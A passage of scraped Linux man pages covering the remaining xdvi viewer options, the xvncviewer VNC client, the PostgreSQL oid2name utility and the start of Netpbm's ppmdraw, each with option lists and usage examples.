(.fork) With the -sourceposition and -unique options, the default behavior is for xdvi to put itself into the background (like a daemon) if there is no appropriate instance of xdvi already running. This argument makes it run in the foreground instead. This is useful for debugging, or if your client application cannot deal well with a program self-backgrounding itself in this way – e.g. the IPC functions in emacs are known to have problems with this. If no -sourceposition or -unique argument is given, then this option has no effect. (Note: -nofork corresponds to fork:off; +nofork to fork:on.)

-noghostscript
(.ghostscript) Inhibits the use of Ghostscript for displaying PostScript<tm> specials. (Note: -noghostscript corresponds to ghostscript:off; +noghostscript to ghostscript:on.)

-nogrey
(.grey) Turns off the use of greyscale anti-aliasing when printing shrunken bitmaps. (Note: -nogrey corresponds to grey:off; +nogrey to grey:on.) See also the `G’ keystroke.

-nogssafer
(.gsSafer) Normally, if Ghostscript is used to render PostScript specials, the Ghostscript interpreter is run with the option -dSAFER. The -nogssafer option runs Ghostscript without -dSAFER. The -dSAFER option in Ghostscript disables PostScript operators such as deletefile, to prevent possibly malicious PostScript programs from having any effect. If the -safer option is specified, then this option has no effect; in that case Ghostscript is always run with -dSAFER. (Note: -nogssafer corresponds to gsSafer:off; +nogssafer to gsSafer:on.)

-noinstall
(.install) Inhibit the default behavior of switching to a TrueColor visual if one is available with more bits per pixel than the current visual. (Note: -noinstall corresponds install:off; there is no +noinstall option.) See also -install, and the GREYSCALING AND COLORMAPS section.

-nomakepk
(.makePk) Turns off automatic generation of font files that cannot be found by other means. (Note: -nomakepk corresponds to makePk:off; +nomakepk to makePK:on.)

-nomatchinverted
(.matchInverted) Don’t highlight string search matches in inverted color; instead, draw a rectangle in highlight color (see the -hl option) around the match. This option is activated automatically if the display isn’t running in TrueColor. (Note: -nomatchinverted corresponds to matchInverted:off; +nomatchinverted to matchInverted:on.)

-noomega
(.omega) This will disable the use of Omega extensions when interpreting DVI files. By default, the additional opcodes 129 and 134 are recognized by xdvi as Omega extensions and interpreted as requests to set 2-byte characters. The only drawback is that the virtual font array will require 65536 positions instead of the default 256 positions, i.e. the memory requirements of xdvi will be slightly larger. If you find this unacceptable or encounter another problem with the Omega extensions, you can switch this extension off by using -noomega (but please do send a bug report if you find such problems - see the bug address in the AUTHORS section below).
(Note: -noomega corresponds to omega: off; +noomega to omega: on.)

-noscan
(.prescan) By default, xdvi does a preliminary scan of the dvi file to process any papersize specials; this is especially important at startup since the paper size may be needed to determine the window size. If PostScript<tm> is in use, then prescanning is also necessary in order to properly process header files. In addition, prescanning is needed to correctly determine the background color of a page. This option turns off such prescanning. (Prescanning will be automatically be turned back on if xdvi detects any of the specials mentioned above.) (Note: -noscan corresponds to prescan:off; +noscan to prescan:on.)

-notempfile
(.tempFile) As mentioned in the section DESCRIPTION above, xdvi will create a temporary copy of the DVI file so that it can be accessed without interruptions even while the file is being rewritten by TeX. Since this introduces the overhead of copying the file every time it has changed, the -notempfile allows you to turn off this behaviour. In this case, exposing parts of the window while the DVI file is being written by TeX will erase the current window contents until the DVI file can be completely reread.
(Note: -notempfile corresponds to tempFile:off; +notempfile to tempFile:on.)

-notype1fonts
(.type1) This will disable the use of the FreeType library to display PostScript<tm> Type 1 fonts. Use this option as a workaround when you encounter problems with the display of Type 1 fonts (but please don’t forget to send a bug report in this case, to the URL mentioned in the section AUTHORS below).
(Note: -notype1fonts corresponds to type1:off; +notype1fonts to type1:on.)

-noxi2scrolling
(.xi2Scrolling) This will disable the use of high-resolution scrolling using the XInput 2.1 features of the X Server. When enabled, horizontal and vertical scrolling is done in smaller increments than would correspond to a single click of a mouse wheel. This is only available for hardware that supports the feature, generally touchpads. It is not available for traditional wheel mice. If suitable hardware is not present or if the X server does not support XInput 2.1 or higher, then the high-resolution scrolling feature is turned off and has no effect.
(Note: -noxi2scrolling corresponds to xi2Scrolling:off; +noxi2scrolling, to xi2Scrolling:on.)

-offsets* dimen*
(.Offset) Specifies the size of both the horizontal and vertical offsets of the output on the page. By decree of the Stanford TeX Project, the default TeX page origin is always 1 inch over and down from the top-left page corner, even when non-American paper sizes are used. Therefore, the default offsets are 1.0 inch. The argument dimen should be a decimal number optionally followed by any of the two-letter abbreviations for units accepted by TeX (pt, pc, in, bp, cm, mm, dd, cc, or sp). By default, the unit will be cm (centimeters). See also -xoffset and -yoffset.

-p* pixels*
(.pixelsPerInch) Defines the size of the fonts to use, in pixels per inch. The default value is 600. This option is provided only for backwards compatibility; the preferred way is to set both the resolution and the Metafont mode via the -mfmode option (which see).

-paper* papertype*
(.paper) Specifies the size of the printed page. Note that in most cases it’s best to specify the paper size in the TeX input file via the line

\usepackage[dvips]{geometry}

which will be recognized by both dvips and xdvi; in that case the use of a `-paper’ option should be unnecessary.
The paper size may be specified in the form widthxheight optionally followed by a unit, where width and height are decimal numbers giving the width and height of the paper, respectively, and the unit is any of the two-letter abbreviations for units accepted by TeX (pt, pc, in, bp, cm, mm, dd, cc, or sp). By default, the unit is cm (centimeters).
There are also synonyms which may be used: us (8.5x11in), legal (8.5x14in), foolscap (13.5x17in), as well as the ISO sizes a1-a7, b1-b7, c1-c7. Each of these also has a landscape or `rotated’ variant: usr (11x8.5in), a1r-a7r, etc. For compatibility with dvips, the formats letter (8.5x11in), ledger (17x11in) and tabloid (11x17in) are also supported (these don’t have rotated variants).
Any of the above sizes may be preceded by a plus sign (`+’); this causes the paper size given here to override any paper size given in the dvi file. The default paper size is 21 x 29.7 cm (A4 size).

-pause
(.pause) This option provides a simple implementation of incremental (stepwise) display, which can be used for presentations. When this option is used, xdvi will pause the display of the current page whenever it encounters a special special-string (xdvi:pause by default; the string can be customized via -pausespecial, see below), and the cursor will change its shape. The action unpause-or-next() (by default bound to the Space key) will display the next portion of the page up to the following special-string, or until the end of the page is reached. When the option is not used, specials containing special-string will be ignored.

-pausespecial* special-string*
(.pauseSpecial) Sets the special string that causes xdvi to pause when the -pause option is active. The default value of special-string is xdvi:pause.

-postscript* flag*
(.postscript) If flag = 0, rendering of PostScript<tm> specials is disabled; instead, bounding boxes will be displayed (if available). A value of 1 (the default) switches PostScript<tm> specials on. With a value of 2, the PostScript<tm> specials are displayed along with their bounding boxes; this allows you to visually check the correctness of the bounding boxes. The values can also be toggled at runtime with the `v’ keystroke and the corresponding numerical prefix arguments 0, 1 and 2.

-ps2pdfpath* path*
(.ps2pdfPath) Use path as a conversion program from PostScript to PDF. The program or script should accept two command-line arguments: The PostScript file as first argument, and the PDF output file as second argument.

-rulecolor* color*
(.ruleColor) Determines the color of the rules used for the magnifier (default: foreground color).

-q
(.noInitFile) Ignore the $HOME/.xdvirc startup file (i.e. don’t read it at startup, and don’t write it at exit). This forces the defaults defined in $HOME/.Xdefaults to be used. See FILES for more information on $HOME/.xdvirc.

-rv
(.reverseVideo) Causes the page to be displayed with white characters on a black background, instead of vice versa.

-S* density*
(.densityPercent) Same as -density (which see).

-s* shrink*
(.shrinkFactor) Defines the initial shrink factor. The default value is 8. If shrink is given as 0, then the initial shrink factor is computed so that the page fits within the window (as if the `s’ keystroke were given without a number).

-safer
(.safer) This option turns on all available security options; it is designed for use when xdvi is called by a browser that obtains a dvi or TeX file from another site. This option selects +nogssafer and +allowshell.

-sidemargin* dimen*
(.sideMargin) Specifies the side margin (see -margins).

-sourceposition* line***[:col][ ]**filename
This option makes xdvi search in the dvi file for the place corresponding to the indicated line (and, optionally, column) in the .tex source file, and highlight the place found by drawing a rectangle in the highlight color (see the -hl option) around the corresponding text. In addition, when run with this argument (and the -nofork option is not given, which see), xdvi will always return immediately: if it finds another instance of xdvi already showing dvi_file, then it will cause that instance to raise its window and move to the given place in the dvi file; otherwise it will start up its own instance in the background. If several instances of xdvi are displaying the respective dvi file, the instance which was last raised to the foreground will be used.

The space before filename is only needed if the filename starts with a digit. When the space is used, the argument needs to be enclosed in quotes to prevent the shell from misinterpreting the space as argument separator.

This option requires that dvi_file be prepared with source special information. See the section on SOURCE SPECIALS for details on how to do this.

Here is a more detailed description of how the filename in the -sourceposition argument is matched with the filename in the source specials:

1.
If neither of the filenames contains a path name component, the filenames are compared ignoring the `.tex’ extensions in both filenames.

2.
Otherwise, if one of the filenames does contain a path component (e.g.: ./test.tex, ../test.tex, /my/homedir/tex/test.tex or any combination of these), both filenames are expanded to a full path, with any occurrences of ../ and ./ expanded, and multiple slashes removed.
The pathname in the -sourceposition is expanded relative to the current working directory of the xdvi -sourceposition invocation, and the pathnames in the source specials are expanded relative to the path of the current DVI file being viewed.
The path names are then compared ignoring the `.tex’ extensions in both path names.

-statusline
(.statusline) This option is obsolete; use -expertmode flag instead (which see).

-text-encoding* encoding*
(.textEncoding) Use encoding as the text encoding of the string in the “Find” window. Usually, this should not be needed since the encoding is determined from the locale settings.

-thorough
(.thorough) Xdvi will usually try to ensure that overstrike characters (e.g. ** otin**) are printed correctly. On monochrome displays, this is always possible with one logical operation, either and or or. On color displays, however, this may take two operations, one to set the appropriate bits and one to clear other bits. If this is the case, then by default xdvi will instead use the copy operation, which does not handle overstriking correctly. The -thorough option chooses the slower but more correct choice. See also -copy.

-topmargin* dimen*
(.topMargin) Specifies the top and bottom margins (see -margins).

-unique
(.unique) This option will make another instance of xdvi running on the same display act as a `server’. For example, the invocation

xdvi -unique +5 file.dvi

will cause this other instance to load file.dvi on page 5 in place of the file that it is currently displaying. If there is already another instance of xdvi already displaying the file file.dvi, then it will just jump to page 5. If the other instance of xdvi is displaying a different file, it will load file.dvi instead. Otherwise, if no other instance of xdvi is currently running on the display, this option instead starts a new instance of xdvi in the background (unless the -nofork option is specified, which see) displaying page 5 of file.dvi.
The filename and the +n option for the page number are the only options available for controlling a remote instance of xdvi like this; all other options are currently ignored.

-useTeXpages
Use logical TeX pages (the values of the *

716 - Linux cli command xvncviewer

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xvncviewer and provides detailed information about the command xvncviewer, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xvncviewer.

NAME 🖥️ xvncviewer 🖥️

an X viewer client for VNC

SYNOPSIS

vncviewer [ options ] [ host ][ :display ]
vncviewer [ options ] [ host ][ ::port ]
vncviewer [ options ] -listen [ display ]
vncviewer -help

DESCRIPTION

vncviewer is an Xt-based client application for the VNC (Virtual Network Computing) system. It can connect to any VNC-compatible server such as Xvnc or WinVNC, allowing you to control desktop environment of a different machine.

You can use F8 to display a pop-up utility menu. Press F8 twice to pass single F8 to the remote side.

OPTIONS

-help
Prints a short usage notice to stderr.

-listen
Make the viewer listen on port 5500+display for reverse connections from a server. WinVNC supports reverse connections using the “Add New Client” menu option, or the -connect command line option. Xvnc requires the use of the helper program vncconnect.

-via gateway
Automatically create encrypted TCP tunnel to the gateway machine before connection, connect to the host through that tunnel (TightVNC-specific). By default, this option invokes SSH local port forwarding, assuming that SSH client binary can be accessed as /usr/bin/ssh. Note that when using the -via option, the host machine name should be specified as known to the gateway machine, e.g. “localhost” denotes the gateway, not the machine where vncviewer was launched. See the ENVIRONMENT section below for the information on configuring the -via option.

-shared
When connecting, specify that a shared connection is requested. In TightVNC, this is the default mode, allowing you to share the desktop with other clients already using it.

-noshared
When connecting, specify that the session may not be shared. This would either disconnect other connected clients or refuse your connection, depending on the server configuration.

-viewonly
Disable transfer of mouse and keyboard events from the client to the server.

-fullscreen
Start in full-screen mode. Please be aware that operating in full-screen mode may confuse X window managers. Typically, such conflicts cause incorrect handling of input focus or make the viewer window disappear mysteriously. See the grabKeyboard setting in the RESOURCES section below for a method to solve input focus problem.

-noraiseonbeep
By default, the viewer shows and raises its window on remote beep (bell) event. This option disables such behaviour (TightVNC-specific).

-passwd passwd-file
File from which to get the password (as generated by the vncpasswd(1) program). This option affects only the standard VNC authentication.

-encodings encoding-list
TightVNC supports several different compression methods to encode screen updates; this option specifies a set of them to use in order of preference. Encodings are specified separated with spaces, and must thus be enclosed in quotes if more than one is specified. Available encodings, in default order for a remote connection, are “copyrect tight hextile zlib corre rre raw”. For a local connection (to the same machine), the default order to try is “raw copyrect tight hextile zlib corre rre”. Raw encoding is always assumed as a last option if no other encoding can be used for some reason. For more information on encodings, see the section ENCODINGS below.

-bgr233
Always use the BGR233 format to encode pixel data. This reduces network traffic, but colors may be represented inaccurately. The bgr233 format is an 8-bit “true color” format, with 2 bits blue, 3 bits green, and 3 bits red.

-owncmap
Try to use a PseudoColor visual and a private colormap. This allows the VNC server to control the colormap.

-truecolour, -truecolor
Try to use a TrueColor visual.

-depth depth
On an X server which supports multiple TrueColor visuals of different depths, attempt to use the specified one (in bits per pixel); if successful, this depth will be requested from the VNC server.

-compresslevel level
Use specified compression level (0..9) for “tight” and “zlib” encodings (TightVNC-specific). Level 1 uses minimum of CPU time and achieves weak compression ratios, while level 9 offers best compression but is slow in terms of CPU time consumption on the server side. Use high levels with very slow network connections, and low levels when working over high-speed LANs. It’s not recommended to use compression level 0, reasonable choices start from the level 1.

-quality level
Use the specified JPEG quality level (0..9) for the “tight” encoding (TightVNC-specific). Quality level 0 denotes bad image quality but very impressive compression ratios, while level 9 offers very good image quality at lower compression ratios. Note that the “tight” encoder uses JPEG to encode only those screen areas that look suitable for lossy compression, so quality level 0 does not always mean unacceptable image quality.

-nojpeg
Disable lossy JPEG compression in Tight encoding (TightVNC-specific). Disabling JPEG compression is not a good idea in typical cases, as that makes the Tight encoder less efficient. You might want to use this option if it’s absolutely necessary to achieve perfect image quality (see also the -quality option).

-nocursorshape
Disable cursor shape updates, protocol extensions used to handle remote cursor movements locally on the client side (TightVNC-specific). Using cursor shape updates decreases delays with remote cursor movements, and can improve bandwidth usage dramatically.

-x11cursor
Use a real X11 cursor with X-style cursor shape updates, instead of drawing the remote cursor on the framebuffer. This option also disables the dot cursor, and disables cursor position updates in non-fullscreen mode.

-autopass
Read a plain-text password from stdin. This option affects only the standard VNC authentication.

ENCODINGS

The server supplies information in whatever format is desired by the client, in order to make the client as easy as possible to implement. If the client represents itself as able to use multiple formats, the server will choose one.

Pixel format refers to the representation of an individual pixel. The most common formats are 24 and 16 bit “true-color” values, and 8-bit “color map” representations, where an arbitrary map converts the color number to RGB values.

Encoding refers to how a rectangle of pixels are sent (all pixel information in VNC is sent as rectangles). All rectangles come with a header giving the location and size of the rectangle and an encoding type used by the data which follows. These types are listed below.

Raw
The raw encoding simply sends width*height pixel values. All clients are required to support this encoding type. Raw is also the fastest when the server and viewer are on the same machine, as the connection speed is essentially infinite and raw encoding minimizes processing time.

CopyRect
The Copy Rectangle encoding is efficient when something is being moved; the only data sent is the location of a rectangle from which data should be copied to the current location. Copyrect could also be used to efficiently transmit a repeated pattern.

RRE
The Rise-and-Run-length-Encoding is basically a 2D version of run-length encoding (RLE). In this encoding, a sequence of identical pixels are compressed to a single value and repeat count. In VNC, this is implemented with a background color, and then specifications of an arbitrary number of subrectangles and color for each. This is an efficient encoding for large blocks of constant color.

CoRRE
This is a minor variation on RRE, using a maximum of 255x255 pixel rectangles. This allows for single-byte values to be used, reducing packet size. This is in general more efficient, because the savings from sending 1-byte values generally outweighs the losses from the (relatively rare) cases where very large regions are painted the same color.

Hextile
Here, rectangles are split up in to 16x16 tiles, which are sent in a predetermined order. The data within the tiles is sent either raw or as a variant on RRE. Hextile encoding is usually the best choice for using in high-speed network environments (e.g. Ethernet local-area networks).

Zlib
Zlib is a very simple encoding that uses zlib library to compress raw pixel data. This encoding achieves good compression, but consumes a lot of CPU time. Support for this encoding is provided for compatibility with VNC servers that might not understand Tight encoding which is more efficient than Zlib in nearly all real-life situations.

Tight
Like Zlib encoding, Tight encoding uses zlib library to compress the pixel data, but it pre-processes data to maximize compression ratios, and to minimize CPU usage on compression. Also, JPEG compression may be used to encode color-rich screen areas (see the description of -quality and -nojpeg options above). Tight encoding is usually the best choice for low-bandwidth network environments (e.g. slow modem connections).

RESOURCES

X resources that vncviewer knows about, aside from the normal Xt resources, are as follows:

shareDesktop
Equivalent of -shared/-noshared options. Default true.

viewOnly
Equivalent of -viewonly option. Default false.

fullScreen
Equivalent of -fullscreen option. Default false.

grabKeyboard
Grab keyboard in full-screen mode. This can help to solve problems with losing keyboard focus. Default false.

raiseOnBeep
Equivalent of -noraiseonbeep option, when set to false. Default true.

passwordFile
Equivalent of -passwd option.

passwordDialog
Whether to use a dialog box to get the password (true) or get it from the tty (false). Irrelevant if passwordFile is set. Default false.

encodings
Equivalent of -encodings option.

compressLevel
Equivalent of -compresslevel option (TightVNC-specific).

qualityLevel
Equivalent of -quality option (TightVNC-specific).

enableJPEG
Equivalent of -nojpeg option, when set to false. Default true.

useRemoteCursor
Equivalent of -nocursorshape option, when set to false (TightVNC-specific). Default true.

useBGR233
Equivalent of -bgr233 option. Default false.

nColours
When using BGR233, try to allocate this many “exact” colors from the BGR233 color cube. When using a shared colormap, setting this resource lower leaves more colors for other X clients. Irrelevant when using truecolor. Default is 256 (i.e. all of them).

useSharedColours
If the number of “exact” BGR233 colors successfully allocated is less than 256 then the rest are filled in using the “nearest” colors available. This resource says whether to only use the “exact” BGR233 colors for this purpose, or whether to use other clients’ “shared” colors as well. Default true (i.e. use other clients’ colors).

forceOwnCmap
Equivalent of -owncmap option. Default false.

forceTrueColour
Equivalent of -truecolour option. Default false.

requestedDepth
Equivalent of -depth option.

useSharedMemory
Use MIT shared memory extension if on the same machine as the X server. Default true.

wmDecorationWidth, wmDecorationHeight
The total width and height taken up by window manager decorations. This is used to calculate the maximum size of the VNC viewer window. Default is width 4, height 24.

bumpScrollTime, bumpScrollPixels
When in full screen mode and the VNC desktop is bigger than the X display, scrolling happens whenever the mouse hits the edge of the screen. The maximum speed of scrolling is bumpScrollPixels pixels every bumpScrollTime milliseconds. The actual speed of scrolling will be slower than this, of course, depending on how fast your machine is. Default 20 pixels every 25 milliseconds.

popupButtonCount
The number of buttons in the popup window. See the README file for more information on how to customize the buttons.

debug
For debugging. Default false.

rawDelay, copyRectDelay
For debugging, see the README file for details. Default 0 (off).

ENVIRONMENT

When started with the -via option, vncviewer reads the VNC_VIA_CMD environment variable, expands patterns beginning with the “%” character, and executes result as a command assuming that it would create TCP tunnel that should be used for VNC connection. If not set, this environment variable defaults to “/usr/bin/ssh -f -L %L:%H:%R %G sleep 20”.

The following patterns are recognized in the VNC_VIA_CMD (note that all the patterns %G, %H, %L and %R must be present in the command template):

%%
A literal “%”;

%G
gateway host name;

%H
remote VNC host name, as known to the gateway;

%L
local TCP port number;

%R
remote TCP port number.

SEE ALSO

vncserver(1), Xvnc(1), vncpasswd(1), vncconnect(1), ssh(1)

AUTHORS

Original VNC was developed in AT&T Laboratories Cambridge. TightVNC additions were implemented by Constantin Kaplinsky. Many other people participated in development, testing and support.

Man page authors:
Marcus Brinkmann <[email protected]>,
Terran Melconian <[email protected]>,
Tim Waugh <[email protected]>,
Constantin Kaplinsky <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

717 - Linux cli command oid2name

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command oid2name and provides detailed information about the command oid2name, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the oid2name.

NAME 🖥️ oid2name 🖥️

resolve OIDs and file nodes in a PostgreSQL data directory

SYNOPSIS

oid2name [option…]

DESCRIPTION

oid2name is a utility program that helps administrators to examine the file structure used by PostgreSQL. To make use of it, you need to be familiar with the database file structure, which is described in Chapter 73.

Note

The name “oid2name” is historical, and is actually rather misleading, since most of the time when you use it, you will really be concerned with tables filenode numbers (which are the file names visible in the database directories). Be sure you understand the difference between table OIDs and table filenodes!

oid2name connects to a target database and extracts OID, filenode, and/or table name information. You can also have it show database OIDs or tablespace OIDs.

OPTIONS

oid2name accepts the following command-line arguments:

-f filenode
**–filenode=**filenode

show info for table with filenode filenode.

-i
–indexes

include indexes and sequences in the listing.

-o oid
**–oid=**oid

show info for table with OID oid.

-q
–quiet

omit headers (useful for scripting).

-s
–tablespaces

show tablespace OIDs.

-S
–system-objects

include system objects (those in information_schema, pg_toast and pg_catalog schemas).

-t tablename_pattern
**–table=**tablename_pattern

show info for table(s) matching tablename_pattern.

-V
–version

Print the oid2name version and exit.

-x
–extended

display more information about each object shown: tablespace name, schema name, and OID.

-?
–help

Show help about oid2name command line arguments, and exit.

oid2name also accepts the following command-line arguments for connection parameters:

-d database
**–dbname=**database

database to connect to.

-h host
**–host=**host

database servers host.

-H host

database servers host. Use of this parameter is deprecated as of PostgreSQL 12.

-p port
**–port=**port

database servers port.

-U username
**–username=**username

user name to connect as.

To display specific tables, select which tables to show by using -o, -f and/or -t. -o takes an OID, -f takes a filenode, and -t takes a table name (actually, its a LIKE pattern, so you can use things like foo%). You can use as many of these options as you like, and the listing will include all objects matched by any of the options. But note that these options can only show objects in the database given by -d.

If you dont give any of -o, -f or -t, but do give -d, it will list all tables in the database named by -d. In this mode, the -S and -i options control what gets listed.

If you dont give -d either, it will show a listing of database OIDs. Alternatively you can give -s to get a tablespace listing.

ENVIRONMENT

PGHOST
PGPORT
PGUSER

Default connection parameters.

This utility, like most other PostgreSQL utilities, also uses the environment variables supported by libpq (see Section 34.15).

The environment variable PG_COLOR specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

NOTES

oid2name requires a running database server with non-corrupt system catalogs. It is therefore of only limited use for recovering from catastrophic database corruption situations.

EXAMPLES

$ # whats in this database server, anyway? $ oid2name All databases: Oid Database Name Tablespace ———————————- 17228 alvherre pg_default 17255 regression pg_default 17227 template0 pg_default 1 template1 pg_default

$ oid2name -s
All tablespaces:
     Oid  Tablespace Name
-------------------------
    1663       pg_default
    1664        pg_global
  155151         fastdisk
  155152          bigdisk

$ # OK, lets look into database alvherre
$ cd $PGDATA/base/17228

$ # get top 10 db objects in the default tablespace, ordered by size
$ ls -lS * | head -10
-rw-------  1 alvherre alvherre 136536064 sep 14 09:51 155173
-rw-------  1 alvherre alvherre  17965056 sep 14 09:51 1155291
-rw-------  1 alvherre alvherre   1204224 sep 14 09:51 16717
-rw-------  1 alvherre alvherre    581632 sep  6 17:51 1255
-rw-------  1 alvherre alvherre    237568 sep 14 09:50 16674
-rw-------  1 alvherre alvherre    212992 sep 14 09:51 1249
-rw-------  1 alvherre alvherre    204800 sep 14 09:51 16684
-rw-------  1 alvherre alvherre    196608 sep 14 09:50 16700
-rw-------  1 alvherre alvherre    163840 sep 14 09:50 16699
-rw-------  1 alvherre alvherre    122880 sep  6 17:51 16751

$ # I wonder what file 155173 is ...
$ oid2name -d alvherre -f 155173
From database "alvherre":
  Filenode  Table Name
----------------------
    155173    accounts

$ # you can ask for more than one object
$ oid2name -d alvherre -f 155173 -f 1155291
From database "alvherre":
  Filenode     Table Name
-------------------------
    155173       accounts
   1155291  accounts_pkey

$ # you can mix the options, and get more details with -x
$ oid2name -d alvherre -t accounts -f 1155291 -x
From database "alvherre":
  Filenode     Table Name      Oid  Schema  Tablespace
------------------------------------------------------
    155173       accounts   155173  public  pg_default
   1155291  accounts_pkey  1155291  public  pg_default

$ # show disk space for every db object
$ du [0-9]* |
> while read SIZE FILENODE
> do
>   echo "$SIZE       `oid2name -q -d alvherre -i -f $FILENODE`"
> done
16            1155287  branches_pkey
16            1155289  tellers_pkey
17561            1155291  accounts_pkey
...

$ # same, but sort by size
$ du [0-9]* | sort -rn | while read SIZE FN
> do
>   echo "$SIZE   `oid2name -q -d alvherre -f $FN`"
> done
133466             155173    accounts
17561            1155291  accounts_pkey
1177              16717  pg_proc_proname_args_nsp_index
...

$ # If you want to see whats in tablespaces, use the pg_tblspc directory
$ cd $PGDATA/pg_tblspc
$ oid2name -s
All tablespaces:
     Oid  Tablespace Name
-------------------------
    1663       pg_default
    1664        pg_global
  155151         fastdisk
  155152          bigdisk

$ # what databases have objects in tablespace "fastdisk"?
$ ls -d 155151/*
155151/17228/  155151/PG_VERSION

$ # Oh, what was database 17228 again?
$ oid2name
All databases:
    Oid  Database Name  Tablespace
----------------------------------
  17228       alvherre  pg_default
  17255     regression  pg_default
  17227      template0  pg_default
      1      template1  pg_default

$ # Lets see what objects does this database have in the tablespace.
$ cd 155151/17228
$ ls -l
total 0
-rw-------  1 postgres postgres 0 sep 13 23:20 155156

$ # OK, this is a pretty small table ... but which one is it?
$ oid2name -d alvherre -f 155156
From database "alvherre":
  Filenode  Table Name
----------------------
    155156         foo

AUTHOR

B. Palmer <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

718 - Linux cli command ppmdraw

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmdraw and provides detailed information about the command ppmdraw, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmdraw.

.

NAME 🖥️ ppmdraw 🖥️

draw lines, text, etc on a PPM image

SYNOPSIS

ppmdraw

{ **-script=**script | -scriptfile=filename } [-verbose]

[ppmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or an equals sign between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

ppmdraw draws lines, shapes, text, etc. on a PPM image. It is essentially an easy-to-program front end to libnetpbm’s “ppmd” subroutines. It lets you create a human-friendly script to describe the drawing rather than write a C program.

You supply drawing instructions with a script, which you supply either in a file named by a -scriptfile option or as the value of a -script option. Here is an example script:

setpos 50 50;
text_here 10 30 "hello";
setcolor black;
text_here 10 0 "there";
line_here 5 20;

This example starts at Column 50, Row 50 of the input image and writes the word “hello” there in 10 pixel high white letters at a 30 degree angle up from horizontal. Then, from where that leaves off, the script writes “there” in 10 pixel high black letters horizontally. Finally, it draws a black line to a point 5 pixels over and 20 pixels down from the end of “there.”

If you don’t specify ppmfile, ppmdraw reads its input PPM image from Standard Input.

The output image goes to Standard Output.

ppmdraw works on multi-image streams. It executes the same script on each input image and produces an output stream with one image for each input image. But before Netpbm 10.32 (February 2006), ppmdraw ignored every image after the first.

If you just want to add a single line of text to an image, ppmlabel may be more what you want.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmdraw recognizes the following command line options:

**-script=**script
This option gives the script. See Script .

You may not specify both -script and -scriptfile.

**-scriptfile=**filename
This option names a file that contains the script. - means Standard Input.

You may not specify both -script and -scriptfile.

You may not specify - (Standard Input) for both -scriptfile and the input image file.

SCRIPT

The heart of ppmdraw function is its script. The script is a character stream. The stream consists of commands. Commands are separated by semicolons. White space is regarded just like in C: Any contiguous stretch of unquoted white space is equivalent to a single space character. Note that this means newlines have no particular significance.

A command is composed of tokens, separated from each other by white space. To write a token that contains white space, enclose it in double quotes. Everything between two matched quotation marks is one token.

The first token of a command is the verb, which determines the basic function of the command. The rest of the tokens of the command are arguments, the meaning of which depends upon the verb. The following list gives all the valid verbs, and for each its meaning and its arguments.

Many command have arguments that specify a position on the canvas, which you specify by row and column. Row 0 is the top row. Column 0 is the leftmost column. You may specify negative numbers (but such a position would necessarily be off the canvas).

Your drawing instructions may involve positions not on the canvas. But any pixels you draw there just get discarded.

setpos
Set the “current position” in the image. This affects where subsequent commands draw things. The 2 arguments are the column and row number.

At the start of the script, the current position is (0,0).

setlinetype
The 1 argument is “normal” or “nodiag.”. This effects a ppmd_setlinetype() call. Further details are not yet documented.

setlineclip
This effects a ppmd_setlineclip() call. Not yet documented.

setcolor
This sets the “current color”, which determines the color in which subsequent drawing commands draw. Before the first setcolor, the current color is white.

There is one argument. It specifies the color as described for the argument of the pnm_parsecolor() library routine .

setfont
This sets the “current font”, which determines the font in which subsequent text drawing commands draw. Before the first setfont, the current font is a built in font called “standard.”

The argument of this command is a file name. It is the name of a Netpbm PPMD font file.

A Netpbm PPMD font file typically has a name that ends in “.ppmdfont” and its first 8 bytes are the ASCII encoding of “ppmdfont”.

